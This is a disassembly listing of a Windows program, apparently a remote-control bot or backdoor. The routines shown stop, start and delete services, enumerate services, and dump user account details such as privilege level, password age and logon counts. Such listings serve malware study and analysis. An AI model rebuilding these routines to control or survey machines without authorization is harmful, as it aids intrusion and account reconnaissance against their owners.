; Attributes: bp-based frame
sub_41B325 proc near ; CODE XREF: .text:0040FCE7p
; .text:004102E3p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
pop ecx
call _rand
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul ds:dbl_437CE8
call __ftol2
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_41B325 endp
; =============== S U B R O U T I N E =======================================
sub_41B362 proc near ; CODE XREF: sub_41B39F+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
rep stosd
lea edi, [eax-1]
xor esi, esi
test edi, edi
jl short loc_41B39C
push ebx
mov ebx, edi
loc_41B37F: ; CODE XREF: sub_41B362+37j
mov eax, [esp+0Ch+arg_0]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41ACB2
pop ecx
mov ecx, [esp+0Ch+arg_8]
inc esi
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_41B37F
pop ebx
loc_41B39C: ; CODE XREF: sub_41B362+18j
pop edi
pop esi
retn
sub_41B362 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41B39F(char *Str,int)
sub_41B39F proc near ; CODE XREF: sub_417E51+96p
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Str = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call __alloca_probe
push ebx
push esi
push edi
push [ebp+Str] ; Str
call _strlen
push [ebp+arg_4] ; Str
mov [ebp+var_4], eax
call _strlen
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_41B362
add esp, 14h
dec esi
mov edi, esi
jmp short loc_41B453
; ---------------------------------------------------------------------------
loc_41B3DF: ; CODE XREF: sub_41B39F+B6j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax ; C
call _tolower ; _tolower
mov ebx, eax
mov eax, [ebp+Str]
movsx eax, byte ptr [edi+eax]
push eax ; C
call _tolower ; _tolower
cmp eax, ebx
pop ecx
pop ecx
jz short loc_41B451
loc_41B401: ; CODE XREF: sub_41B39F+B0j
mov ebx, [ebp+Str]
xor eax, eax
mov al, [edi+ebx]
push eax
call sub_41ACB2
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_41B424
mov eax, ecx
loc_41B424: ; CODE XREF: sub_41B39F+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_41B461
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax ; C
call _tolower ; _tolower
movsx ecx, byte ptr [edi+ebx]
push ecx ; C
mov [ebp+var_8], eax
call _tolower ; _tolower
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_41B401
loc_41B451: ; CODE XREF: sub_41B39F+60j
dec edi
dec esi
loc_41B453: ; CODE XREF: sub_41B39F+3Ej
test esi, esi
jg short loc_41B3DF
mov eax, [ebp+Str]
add eax, edi
loc_41B45C: ; CODE XREF: sub_41B39F+C4j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41B461: ; CODE XREF: sub_41B39F+8Aj
xor eax, eax
jmp short loc_41B45C
sub_41B39F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B465 proc near ; CODE XREF: sub_41BF46+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
push 0F003Fh
xor ebx, ebx
push ebx
push ebx
call dword_4441C8 ; OpenSCManagerA
mov edi, eax
cmp edi, ebx
jnz short loc_41B48C
call ds:dword_42B01C ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_41B501
; ---------------------------------------------------------------------------
loc_41B48C: ; CODE XREF: sub_41B465+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_44424C ; OpenServiceA
mov esi, eax
cmp esi, ebx
jnz short loc_41B4AC
call ds:dword_42B01C ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_41B4F9
; ---------------------------------------------------------------------------
loc_41B4AC: ; CODE XREF: sub_41B465+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_41B4DF
cmp eax, 3
jz short loc_41B4D0
jle short loc_41B4F2
cmp eax, 6
jg short loc_41B4F2
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_4441EC ; ControlService
jmp short loc_41B4E6
; ---------------------------------------------------------------------------
loc_41B4D0: ; CODE XREF: sub_41B465+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_4441D0 ; StartServiceA
jmp short loc_41B4E6
; ---------------------------------------------------------------------------
loc_41B4DF: ; CODE XREF: sub_41B465+4Dj
push esi
call dword_4440F4 ; DeleteService
loc_41B4E6: ; CODE XREF: sub_41B465+69j
; sub_41B465+78j
test eax, eax
jnz short loc_41B4F2
call ds:dword_42B01C ; RtlGetLastWin32Error
mov ebx, eax
loc_41B4F2: ; CODE XREF: sub_41B465+54j
; sub_41B465+59j ...
push esi
call dword_444134 ; CloseServiceHandle
loc_41B4F9: ; CODE XREF: sub_41B465+45j
push edi
call dword_444134 ; CloseServiceHandle
pop esi
loc_41B501: ; CODE XREF: sub_41B465+25j
pop edi
mov eax, ebx
pop ebx
leave
retn
sub_41B465 endp
; =============== S U B R O U T I N E =======================================
sub_41B507 proc near ; CODE XREF: sub_41BF46:loc_41BF8Ep
mov ecx, 420h
cmp eax, ecx
ja loc_41B5B8
jz loc_41B5B1
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_41B57B
jz short loc_41B571
mov ecx, eax
sub ecx, 3
jz short loc_41B567
dec ecx
dec ecx
jz short loc_41B55D
dec ecx
jz short loc_41B553
sub ecx, 51h
jz short loc_41B549
sub ecx, 24h
jnz loc_41B62E ; default
; jumptable 0041B5D5 cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_41B620
; ---------------------------------------------------------------------------
loc_41B549: ; CODE XREF: sub_41B507+2Dj
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_41B620
; ---------------------------------------------------------------------------
loc_41B553: ; CODE XREF: sub_41B507+28j
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_41B620
; ---------------------------------------------------------------------------
loc_41B55D: ; CODE XREF: sub_41B507+25j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_41B620
; ---------------------------------------------------------------------------
loc_41B567: ; CODE XREF: sub_41B507+21j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_41B620
; ---------------------------------------------------------------------------
loc_41B571: ; CODE XREF: sub_41B507+1Aj
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_41B620
; ---------------------------------------------------------------------------
loc_41B57B: ; CODE XREF: sub_41B507+18j
mov ecx, eax
sub ecx, 41Ch
jz short loc_41B5AA
dec ecx
jz short loc_41B5A3
dec ecx
jz short loc_41B59C
dec ecx
jnz loc_41B62E ; default
; jumptable 0041B5D5 cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_41B620
; ---------------------------------------------------------------------------
loc_41B59C: ; CODE XREF: sub_41B507+82j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B5A3: ; CODE XREF: sub_41B507+7Fj
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B5AA: ; CODE XREF: sub_41B507+7Cj
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B5B1: ; CODE XREF: sub_41B507+Dj
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B5B8: ; CODE XREF: sub_41B507+7j
mov ecx, 45Bh
cmp eax, ecx
ja short loc_41B62E ; default
; jumptable 0041B5D5 cases 1,5,6,8,9,12,13,15,16
jz short loc_41B61B
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_41B62E ; default
; jumptable 0041B5D5 cases 1,5,6,8,9,12,13,15,16
movzx ecx, ds:byte_41B66F[ecx]
jmp ds:off_41B647[ecx*4] ; switch jump
loc_41B5DC: ; DATA XREF: .text:off_41B647o
push offset aTheSpecifiedDa ; jumptable 0041B5D5 case 7
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B5E3: ; CODE XREF: sub_41B507+CEj
; DATA XREF: .text:off_41B647o
push offset aTheServiceDepe ; jumptable 0041B5D5 case 17
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B5EA: ; CODE XREF: sub_41B507+CEj
; DATA XREF: .text:off_41B647o
push offset aTheServiceDe_0 ; jumptable 0041B5D5 case 10
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B5F1: ; CODE XREF: sub_41B507+CEj
; DATA XREF: .text:off_41B647o
push offset aTheServiceHasB ; jumptable 0041B5D5 case 0
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B5F8: ; CODE XREF: sub_41B507+CEj
; DATA XREF: .text:off_41B647o
push offset aTheSpecified_0 ; jumptable 0041B5D5 case 2
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B5FF: ; CODE XREF: sub_41B507+CEj
; DATA XREF: .text:off_41B647o
push offset aTheServiceCoul ; jumptable 0041B5D5 case 11
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B606: ; CODE XREF: sub_41B507+CEj
; DATA XREF: .text:off_41B647o
push offset aTheServiceHa_0 ; jumptable 0041B5D5 case 14
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B60D: ; CODE XREF: sub_41B507+CEj
; DATA XREF: .text:off_41B647o
push offset aTheRequested_1 ; jumptable 0041B5D5 case 3
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B614: ; CODE XREF: sub_41B507+CEj
; DATA XREF: .text:off_41B647o
push offset aTheServiceHasN ; jumptable 0041B5D5 case 4
jmp short loc_41B620
; ---------------------------------------------------------------------------
loc_41B61B: ; CODE XREF: sub_41B507+BAj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_41B620: ; CODE XREF: sub_41B507+3Dj
; sub_41B507+47j ...
push offset byte_4E1EA8 ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_41B641
; ---------------------------------------------------------------------------
loc_41B62E: ; CODE XREF: sub_41B507+32j
; sub_41B507+85j ...
push eax ; default
; jumptable 0041B5D5 cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
push offset byte_4E1EA8 ; Dest
call _sprintf
add esp, 0Ch
loc_41B641: ; CODE XREF: sub_41B507+125j
mov eax, offset byte_4E1EA8
retn
sub_41B507 endp
; ---------------------------------------------------------------------------
off_41B647 dd offset loc_41B5F1 ; DATA XREF: sub_41B507+CEr
dd offset loc_41B5F8 ; jump table for switch statement
dd offset loc_41B60D
dd offset loc_41B614
dd offset loc_41B5DC
dd offset loc_41B5EA
dd offset loc_41B5FF
dd offset loc_41B606
dd offset loc_41B5E3
dd offset loc_41B62E
byte_41B66F db 0, 9, 1, 2 ; DATA XREF: sub_41B507+C7r
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41B681(int,char *Str,int)
sub_41B681 proc near ; CODE XREF: sub_40274D+430Ep
var_38C = dword ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
Dest = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_4441C8 ; OpenSCManagerA
push ebx ; int
push [ebp+arg_8] ; int
mov [ebp+var_C], eax
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 14h
loc_41B6B9: ; CODE XREF: sub_41B681+123j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push 168h
lea eax, [ebp+var_18C]
push eax
push 3
push 30h
push [ebp+var_C]
call dword_4441D8 ; EnumServicesStatusA
test eax, eax
jnz short loc_41B6F3
call ds:dword_42B01C ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_41B7AA
loc_41B6F3: ; CODE XREF: sub_41B681+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_41B7A1
lea esi, [ebp+var_188]
loc_41B704: ; CODE XREF: sub_41B681+11Aj
mov eax, [esi+8]
dec eax
jz short loc_41B750
dec eax
jz short loc_41B749
dec eax
jz short loc_41B742
dec eax
jz short loc_41B73B
dec eax
jz short loc_41B734
dec eax
jz short loc_41B72D
dec eax
lea eax, [ebp+Dest]
jz short loc_41B726
push offset aUnknown_0 ; " Unknown"
jmp short loc_41B758
; ---------------------------------------------------------------------------
loc_41B726: ; CODE XREF: sub_41B681+9Cj
push offset aPaused ; " Paused"
jmp short loc_41B758
; ---------------------------------------------------------------------------
loc_41B72D: ; CODE XREF: sub_41B681+96j
push offset aPausing ; " Pausing"
jmp short loc_41B755
; ---------------------------------------------------------------------------
loc_41B734: ; CODE XREF: sub_41B681+93j
push offset aContinuing ; " Continuing"
jmp short loc_41B755
; ---------------------------------------------------------------------------
loc_41B73B: ; CODE XREF: sub_41B681+90j
push offset aRunning ; " Running"
jmp short loc_41B755
; ---------------------------------------------------------------------------
loc_41B742: ; CODE XREF: sub_41B681+8Dj
push offset aStoping ; " Stoping"
jmp short loc_41B755
; ---------------------------------------------------------------------------
loc_41B749: ; CODE XREF: sub_41B681+8Aj
push offset aStarting ; " Starting"
jmp short loc_41B755
; ---------------------------------------------------------------------------
loc_41B750: ; CODE XREF: sub_41B681+87j
push offset aStopped ; " Stopped"
loc_41B755: ; CODE XREF: sub_41B681+B1j
; sub_41B681+B8j ...
lea eax, [ebp+Dest]
loc_41B758: ; CODE XREF: sub_41B681+A3j
; sub_41B681+AAj
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push dword ptr [esi]
lea eax, [ebp+Dest]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS_3 ; "%s: %s (%s)"
push eax ; Dest
call _sprintf
push 1 ; int
push [ebp+arg_8] ; int
lea eax, [ebp+var_38C]
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_41B704
loc_41B7A1: ; CODE XREF: sub_41B681+77j
cmp [ebp+var_8], ebx
jnz loc_41B6B9
loc_41B7AA: ; CODE XREF: sub_41B681+6Cj
push [ebp+var_C]
call dword_444134 ; CloseServiceHandle
xor eax, eax
cmp eax, [ebp+var_4]
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
leave
retn
sub_41B681 endp
; =============== S U B R O U T I N E =======================================
sub_41B7C1 proc near ; CODE XREF: sub_41B883+Ap
; sub_41B883+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_41B7CE
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41B7CE: ; CODE XREF: sub_41B7C1+9j
push ebx
push esi
mov esi, ds:dword_42B07C
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax ; unsigned int
call ??2@YAPAXI@Z ; operator new(uint)
pop ecx
push edi
mov ebx, eax
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; MultiByteToWideChar
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
retn
sub_41B7C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B802 proc near ; CODE XREF: sub_41CB8D+243p
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_C = dword ptr 14h
mov eax, offset loc_42A09A
call __EH_prolog
push esi
xor esi, esi
cmp [esp+10h+arg_0], esi
jnz short loc_41B819
xor eax, eax
jmp short loc_41B875
; ---------------------------------------------------------------------------
loc_41B819: ; CODE XREF: sub_41B802+11j
push ebx
push ebp
push edi
mov edi, ds:dword_42B090
push esi
push esi
push esi
push esi
push 0FFFFFFFFh
push [esp+30h+arg_0]
mov ebx, 400h
push ebx
push esi
call edi ; WideCharToMultiByte
test byte ptr dword_4E1F08, 1
mov ebp, eax
jnz short loc_41B85A
or dword_4E1F08, 1
lea eax, [ebp+1]
push eax ; unsigned int
mov [esp+14h+arg_0], esi
call ??2@YAPAXI@Z ; operator new(uint)
pop ecx
mov dword_4E1F04, eax
loc_41B85A: ; CODE XREF: sub_41B802+3Cj
push esi
push esi
push ebp
push dword_4E1F04
push 0FFFFFFFFh
push [esp+24h+arg_C]
push ebx
push esi
call edi ; WideCharToMultiByte
mov eax, dword_4E1F04
pop edi
pop ebp
pop ebx
loc_41B875: ; CODE XREF: sub_41B802+15j
mov ecx, [esp+10h+var_C]
pop esi
mov large fs:0, ecx
leave
retn
sub_41B802 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41B883(int,char *Str,int)
sub_41B883 proc near ; CODE XREF: sub_41BFBE+6Cp
; sub_41CEAF+18Ap ...
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
push edi
push [ebp+arg_0]
call sub_41B7C1
push [ebp+Str]
mov edi, eax
call sub_41B7C1
push 24h ; Val
push [ebp+Str] ; Str
mov [ebp+var_24], eax
call _strchr
push [ebp+arg_8]
neg eax
sbb eax, eax
and [ebp+var_1C], 0
or [ebp+var_14], 0FFFFFFFFh
and [ebp+var_10], 0
and eax, 80000000h
mov [ebp+var_20], eax
mov [ebp+var_18], 7Fh
call sub_41B7C1
and [ebp+var_8], 0
add esp, 14h
mov [ebp+var_C], eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push 2
push edi
call dword_4440E8
pop edi
leave
retn
sub_41B883 endp
; =============== S U B R O U T I N E =======================================
sub_41B8EE proc near ; CODE XREF: sub_41BFBE+20p
; sub_41CB8D+1B8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_41B7C1
push [esp+8+arg_4]
mov esi, eax
call sub_41B7C1
pop ecx
pop ecx
push 0
push eax
push esi
call dword_444104
pop esi
retn
sub_41B8EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B911 proc near ; CODE XREF: sub_41C19B+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_41B7C1
push [ebp+arg_4]
mov edi, eax
call sub_41B7C1
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_41B7C1
and [ebp+var_14], 0
and [ebp+var_10], 0
and [ebp+var_8], 0
add esp, 0Ch
lea ecx, [ebp+var_4]
push ecx
mov [ebp+var_20], eax
xor eax, eax
lea ecx, [ebp+var_24]
inc eax
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_4440C8
pop edi
leave
retn
sub_41B911 endp
; =============== S U B R O U T I N E =======================================
sub_41B96B proc near ; CODE XREF: sub_41C19B+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_41B7C1
push [esp+8+arg_4]
mov esi, eax
call sub_41B7C1
pop ecx
pop ecx
push eax
push esi
call dword_4441D4
pop esi
retn
sub_41B96B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41B98C(int,int,int,char *Str,int)
sub_41B98C proc near ; CODE XREF: sub_41C19B+2Dp
Dest = byte ptr -208h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Str = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 208h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_41B7C1
push [ebp+arg_4]
mov esi, eax
call sub_41B7C1
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_4440EC
test eax, eax
mov [ebp+var_8], eax
jnz loc_41BD19
mov eax, [ebp+var_4]
test eax, eax
jz loc_41BD54
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+Dest]
push offset aAccountS ; "Account: %S"
push eax ; Dest
call _sprintf
mov esi, [ebp+arg_10]
mov edi, [ebp+Str]
mov ebx, [ebp+arg_8]
push 1 ; int
push esi ; int
lea eax, [ebp+Dest]
push eax ; int
push edi ; Str
push ebx ; int
call sub_40123B
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+Dest]
push offset aFullNameS ; "Full Name: %S"
push eax ; Dest
call _sprintf
push 1 ; int
push esi ; int
lea eax, [ebp+Dest]
push eax ; int
push edi ; Str
push ebx ; int
call sub_40123B
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+Dest]
push offset aUserCommentS ; "User Comment: %S"
push eax ; Dest
call _sprintf
push 1 ; int
push esi ; int
lea eax, [ebp+Dest]
push eax ; int
push edi ; Str
push ebx ; int
call sub_40123B
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+Dest]
push offset aCommentS ; "Comment: %S"
push eax ; Dest
call _sprintf
push 1 ; int
push esi ; int
lea eax, [ebp+Dest]
push eax ; int
push edi ; Str
push ebx ; int
call sub_40123B
mov eax, [ebp+var_4]
mov eax, [eax+10h]
add esp, 40h
sub eax, 0
jz short loc_41BAA5
dec eax
jz short loc_41BA9E
dec eax
jz short loc_41BA97
mov eax, offset aUnknown ; "Unknown"
jmp short loc_41BAAA
; ---------------------------------------------------------------------------
loc_41BA97: ; CODE XREF: sub_41B98C+102j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_41BAAA
; ---------------------------------------------------------------------------
loc_41BA9E: ; CODE XREF: sub_41B98C+FFj
mov eax, offset aUser_3 ; "User"
jmp short loc_41BAAA
; ---------------------------------------------------------------------------
loc_41BAA5: ; CODE XREF: sub_41B98C+FCj
mov eax, offset aGuest ; "Guest"
loc_41BAAA: ; CODE XREF: sub_41B98C+109j
; sub_41B98C+110j ...
push eax
lea eax, [ebp+Dest]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax ; Dest
call _sprintf
push 1 ; int
push esi ; int
lea eax, [ebp+Dest]
push eax ; int
push edi ; Str
push ebx ; int
call sub_40123B
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+Dest]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax ; Dest
call _sprintf
push 1 ; int
push esi ; int
lea eax, [ebp+Dest]
push eax ; int
push edi ; Str
push ebx ; int
call sub_40123B
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+Dest]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax ; Dest
call _sprintf
push 1 ; int
push esi ; int
lea eax, [ebp+Dest]
push eax ; int
push edi ; Str
push ebx ; int
call sub_40123B
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+Dest]
push offset aParametersS ; "Parameters: %S"
push eax ; Dest
call _sprintf
push 1 ; int
push esi ; int
lea eax, [ebp+Dest]
push eax ; int
push edi ; Str
push ebx ; int
call sub_40123B
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+Dest]
push offset aPasswordAgeD ; "Password Age: %d"
push eax ; Dest
call _sprintf
push 1 ; int
push esi ; int
lea eax, [ebp+Dest]
push eax ; int
push edi ; Str
push ebx ; int
call sub_40123B
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+Dest]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax ; Dest
call _sprintf
push 1 ; int
push esi ; int
lea eax, [ebp+Dest]
push eax ; int
push edi ; Str
push ebx ; int
call sub_40123B
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+Dest]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax ; Dest
call _sprintf
push 1 ; int
push esi ; int
lea eax, [ebp+Dest]
push eax ; int
push edi ; Str
push ebx ; int
call sub_40123B
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+Dest]
push offset aLastLogonD ; "Last Logon: %d"
push eax ; Dest
call _sprintf
push 1 ; int
push esi ; int
lea eax, [ebp+Dest]
push eax ; int
push edi ; Str
push ebx ; int
call sub_40123B
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+28h]
lea eax, [ebp+Dest]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax ; Dest
call _sprintf
push 1 ; int
push esi ; int
lea eax, [ebp+Dest]
push eax ; int
push edi ; Str
push ebx ; int
call sub_40123B
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+Dest]
push offset aLogonServerS ; "Logon Server: %S"
push eax ; Dest
call _sprintf
push 1 ; int
push esi ; int
lea eax, [ebp+Dest]
push eax ; int
push edi ; Str
push ebx ; int
call sub_40123B
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+Dest]
push offset aWorkstationsS ; "Workstations: %S"
push eax ; Dest
call _sprintf
push 1 ; int
push esi ; int
lea eax, [ebp+Dest]
push eax ; int
push edi ; Str
push ebx ; int
call sub_40123B
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+Dest]
push offset aCountryCodeD ; "Country Code: %d"
push eax ; Dest
call _sprintf
push 1 ; int
push esi ; int
lea eax, [ebp+Dest]
push eax ; int
push edi ; Str
push ebx ; int
call sub_40123B
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+Dest]
push offset aUserSLanguageD ; "User's Language: %d"
push eax ; Dest
call _sprintf
push 1 ; int
push esi ; int
lea eax, [ebp+Dest]
push eax ; int
push edi ; Str
push ebx ; int
call sub_40123B
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+Dest]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax ; Dest
call _sprintf
push 1 ; int
push esi ; int
lea eax, [ebp+Dest]
push eax ; int
push edi ; Str
push ebx ; int
call sub_40123B
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+Dest]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax ; Dest
call _sprintf
push 1 ; int
push esi ; int
lea eax, [ebp+Dest]
push eax ; int
push edi ; Str
push ebx ; int
call sub_40123B
add esp, 20h
pop edi
pop ebx
jmp short loc_41BD45
; ---------------------------------------------------------------------------
loc_41BD19: ; CODE XREF: sub_41B98C+35j
push eax
lea eax, [ebp+Dest]
push offset asc_4382AC ; "-"
push eax ; Dest
call _sprintf
push 0 ; int
push [ebp+arg_10] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_8] ; int
call sub_40123B
add esp, 20h
loc_41BD45: ; CODE XREF: sub_41B98C+38Bj
cmp [ebp+var_4], 0
jz short loc_41BD54
push [ebp+var_4]
call dword_444140
loc_41BD54: ; CODE XREF: sub_41B98C+40j
; sub_41B98C+3BDj
mov eax, [ebp+var_8]
pop esi
leave
retn
sub_41B98C endp
; =============== S U B R O U T I N E =======================================
sub_41BD5A proc near ; CODE XREF: sub_41BE8A+9Ep
; sub_41BFBE:loc_41BFFEp ...
mov ecx, 858h
cmp eax, ecx
ja loc_41BE08
jz loc_41BE01
cmp eax, 7Bh
ja short loc_41BDCD
jz short loc_41BDC3
cmp eax, 5
jz short loc_41BDB9
cmp eax, 8
jz short loc_41BDAF
cmp eax, 32h
jz short loc_41BDA5
